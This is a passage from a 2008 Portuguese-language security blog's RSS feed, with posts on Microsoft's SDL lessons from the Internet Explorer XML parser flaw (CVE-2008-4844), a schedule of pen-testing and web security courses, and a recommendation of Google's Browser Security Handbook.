		<pubDate>Mon, 22 Dec 2008 19:30:18 +0000</pubDate>
		<dc:creator>Elias Wagner</dc:creator>
				<category><![CDATA[Security Developer]]></category>

		<guid isPermaLink="false">http://wagnerelias.com/2008/12/22/sdl-e-falha-de-xml-parser-do-internet-explorer/</guid>
		<description><![CDATA[Um excelente post no blog Security Development Lifecycle, fala sobre a falha de XML Parser que afeta algumas versões do Internet Explorer da Microsoft.
A falha irá causar algumas mudanças na capacitação dos desenvolvedores, segundo o post o conteúdo dos treinamentos voltados ao SDL (Secure Development Lifecycle) não cobre com clareza a falha que ocorreu. 
"Code [...]]]></description>
			<content:encoded><![CDATA[<p>Um <a href="http://blogs.msdn.com/sdl/archive/2008/12/18/ms08-078-and-the-sdl.aspx"><b>excelente post no blog Security Development Lifecycle</b></a>, fala sobre a <a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4844"><b>falha de XML Parser</b></a> que afeta algumas versões do Internet Explorer da Microsoft.</p>
<p>A falha irá causar algumas mudanças na capacitação dos desenvolvedores, segundo o post o conteúdo dos treinamentos voltados ao SDL (Secure Development Lifecycle) não cobre com clareza a falha que ocorreu. </p>
<blockquote><p>"Code Analysis and Review</p>
<p>Memory-related TOCTOU bugs are hard to find through code review; we teach TOCTOU issues, and we teach memory corruption issues, and issues with using freed memory blocks; but we do not teach memory-related TOCTOU issues. We will update our training to address this.</p>
<p>Our static analysis tools don't find this because the tools would need to understand the re-entrant nature of the code."</p></blockquote>
<p>Devido a característica bastante peculiar da falha, muito provavelmente a falha foi encontrada por acaso, pois até mesmo as técnicas de fuzzing (considerada bala de prata por alguns) não conseguiriam identificar facilmente.</p>
<blockquote><p>"Fuzz Testing</p>
<p>In theory, fuzz testing could find this bug, but today there is no fuzz test case for this code. Triggering the bug would require a fuzzing tool that builds data streams with multiple data binding constructs with the same identifier. Random (or dumb) fuzzing payloads of this data type would probably not trigger the bug, however."</p></blockquote>
<p>Outro ponto é a questão da compatibilidade entre as versões. Devido a compatibilidade com versões anteriores não é usado ASLR e NX, o que poderia ter amenizado o problema.</p>
<blockquote><p>"ASLR and NX</p>
<p>Even though Windows Vista and Windows Server 2008 have both ASLR and NX enabled by default, Internet Explorer 7 does not opt-in to these defenses owing to compatibility issues with many common applications. Internet Explorer 8 enables these defenses by default, but an attack could be mounted by calling a component that does not use these defenses, and then by using an attack technique known as heap-spraying get the attacker's code into the non-ASLR and non-NX memory. This is why it's so important to build components for Windows that use all the available Windows defenses. Matt Thomlinson and I wrote an article on this subject, and David LeBlanc and I wrote Writing Secure Code for Windows Vista that covers the subject in much more detail."</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://wagnerelias.com/2008/12/22/sdl-e-falha-de-xml-parser-do-internet-explorer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://wagnerelias.com/2008/12/22/sdl-e-falha-de-xml-parser-do-internet-explorer/</feedburner:origLink></item>
		<item>
		<title>Treinamentos em Janeiro</title>
		<link>http://feedproxy.google.com/~r/WagnerElias-ThinkSecurityFirst/~3/JlOGm3sWfJ0/</link>
		<comments>http://wagnerelias.com/2008/12/15/treinamentos-em-janeiro/#comments</comments>
		<pubDate>Mon, 15 Dec 2008 17:00:17 +0000</pubDate>
		<dc:creator>Elias Wagner</dc:creator>
				<category><![CDATA[eventos]]></category>

		<guid isPermaLink="false">http://wagnerelias.com/2008/12/15/treinamentos-em-janeiro/</guid>
		<description><![CDATA[A Conviso IT Security oferece no primeiro trimestre de 2009, os cursos "Internet Hacking Techniques" e "Web Hacking Techniques" em várias capitais brasileiras:

Internet Hacking Techniques
Ensina o processo de análise de vulnerabilidades técnicas em redes de dados, incluindo técnicas para teste de intrusão (pen-test), scan de vulnerabilidades, testes de resistência de senhas e análise do controle [...]]]></description>
			<content:encoded><![CDATA[<p>A <a href="http://www.conviso.com.br"><strong>Conviso IT Security</strong></a> oferece no primeiro trimestre de 2009, os cursos "Internet Hacking Techniques" e "Web Hacking Techniques" em várias capitais brasileiras:<br />
<strong><br />
Internet Hacking Techniques</strong></p>
<p>Ensina o processo de análise de vulnerabilidades técnicas em redes de dados, incluindo técnicas para teste de intrusão (pen-test), scan de vulnerabilidades, testes de resistência de senhas e análise do controle de acesso a dados.</p>
<p>Belo Horizonte: 12, 13 e 14 de janeiro<br />
Manaus: 19, 20 e 21 de janeiro<br />
Recife: 21, 22 e 23 de janeiro<br />
Curitiba: 26, 27 e 28 de janeiro<br />
<strong><br />
Web Hacking Techniques</strong></p>
<p>Ao entender as principais vulnerabilidades em aplicações web e como evitar que elas sejam criadas, os alunos deste curso aprendem a revisar a segurança das aplicações web, além de serem capacitados em práticas de programação segura e no uso de ferramentas Open Source para testes de segurança e criação de medidas de proteção neste modelo de aplicação.</p>
<p>Belo Horizonte: 15 e 16 de janeiro<br />
Manaus: 23 e 24 de janeiro</p>
<p><strong>Calendário dos Cursos:</strong> <a href="http://convisosec.com/yahoo_site_admin1/assets/docs/CSTR_Calendario_2009_V2.35175159.pdf">http://convisosec.com/yahoo_site_admin1/assets/docs/CSTR_Calendario_2009_V2.35175159.pdf</a></p>
]]></content:encoded>
			<wfw:commentRss>http://wagnerelias.com/2008/12/15/treinamentos-em-janeiro/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		<feedburner:origLink>http://wagnerelias.com/2008/12/15/treinamentos-em-janeiro/</feedburner:origLink></item>
		<item>
		<title>Browser Security Handbook</title>
		<link>http://feedproxy.google.com/~r/WagnerElias-ThinkSecurityFirst/~3/sFET1c-pOzI/</link>
		<comments>http://wagnerelias.com/2008/12/11/browser-security-handbook/#comments</comments>
		<pubDate>Thu, 11 Dec 2008 16:09:10 +0000</pubDate>
		<dc:creator>Elias Wagner</dc:creator>
				<category><![CDATA[Security Developer]]></category>

		<guid isPermaLink="false">http://wagnerelias.com/2008/12/11/browser-security-handbook/</guid>
		<description><![CDATA[O Google lançou um book em versão wiki que, descreve várias características de segurança de diversos browsers. A wiki é atualizada constantemente e é um material interessantíssimo para quem deseja conhecer um pouco mais dos "internals" dos browsers.
As informações são valiosas para quem deseja ir além do debug.print/echo POST/GET no desenvolvimento web. Recomendo fortemente a [...]]]></description>
			<content:encoded><![CDATA[<p>O <a href="http://code.google.com/p/browsersec/wiki/Main"><strong>Google lançou um book em versão wiki</strong></a> que, descreve várias características de segurança de diversos browsers. A wiki é atualizada constantemente e é um material interessantíssimo para quem deseja conhecer um pouco mais dos "internals" dos browsers.</p>
<p>As informações são valiosas para quem deseja ir além do debug.print/echo POST/GET no desenvolvimento web. Recomendo fortemente a parte 3 - <strong><em><a rel="nofollow" href="http://code.google.com/p/browsersec/wiki/Part3">Experimental and legacy security mechanisms.</a></em></strong></p>
<p><strong><em></em></strong><em>O conteúdo se mostrou bastante imparcial e não é voltado apenas para o Chrome do Google.<br />
</em></p>
]]></content:encoded>
			<wfw:commentRss>http://wagnerelias.com/2008/12/11/browser-security-handbook/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		<feedburner:origLink>http://wagnerelias.com/2008/12/11/browser-security-handbook/</feedburner:origLink></item>
	</channel>
</rss>
